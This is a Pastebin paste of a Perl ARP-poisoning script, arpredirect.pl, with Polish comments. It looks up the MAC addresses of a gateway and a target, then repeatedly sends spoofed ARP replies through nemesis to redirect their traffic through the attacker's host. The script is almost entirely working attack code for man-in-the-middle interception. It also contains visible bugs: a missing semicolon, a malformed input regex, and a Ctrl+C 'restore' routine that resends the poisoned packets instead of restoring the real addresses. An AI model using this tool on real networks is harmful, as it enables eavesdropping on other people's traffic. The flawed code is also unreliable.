Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- $device = "wlan0";
- $SIG{INT} = \&cleanup; #ctr+c czyszczenie
- $flag = 1;
- $gw = shift; #pierwszy arg.
- $targ = shift #drugi arg.
- if (($gw . "." . $targ !~ /^([0-9]{1,3}\.){7}[0-9]{1.3}$/))
- { #sprawdzenie wejścia
- die("użycie arpredirect.pl <brama> <adres_docelowy> \n");
- }
- print "Wysyłanie pakietów ping do $gw i $targ w celu uzyskania adresów mac...\n";
- system("ping -q -c 1 -w 1 $gw > /dev/null");
- system("ping -q -c 1 -w 1 $targ > /dev/null");
- #pobieranie adresów mac
- print " Pobieranie adresów mac...\n";
- $gw_mac = qx[/sbin/arp -na $gw];
- $gw_mac = substr($gw_mac, index($gw_mac, ":")-2,17);
- $targ_mac = qx[/sbin/arp -na $targ];
- $targ_mac = substr($targ_mac, index($targ_mac, ":")-2,17);
- if ($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
- {
- die("nie odnaleziono adresu mac komputera $gw \n");
- }
- if ($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
- {
- die("nie odnaleziono adresu mac komputera $targ");
- }
- #własny adres ip i mac
- print "Pobieranie informacji o własnych adresach mac i ip za pomocą ifconfig ...\n";
- @ifconf = split(" ", qx[/sbin/ifconfig $device]);
- $me = substr(@ifconf[6], 5);
- $me_mac = $ifconf[4];
- print "[*] Brama: $gw ma adres $gw_mac\n";
- print "[*] Cel: $targ ma adres $targ_mac\n";
- print "[*] Ty: $me ma adres $me_mac\n";
- while($flag){
- #konfiguracja zatruwania ctrl+c kończy
- print "Przekierowanie: $gw -> $me_mac <- $targ";
- system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H
- $me_mac -M $targ_mac");
- system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
- $me_mac -M $gw_mac");
- sleep 10;
- }
- sub cleanup
- {
- #koniec zatruwania
- $flag = 0;
- print "przechwycono ctrl+c , następuje wyjście .\nPrzywracanie normalnego stanu\n";
- system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H
- $me_mac -M $targ_mac");
- system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H
- $me_mac -M $gw_mac");
- }
Add Comment
Please, Sign In to add comment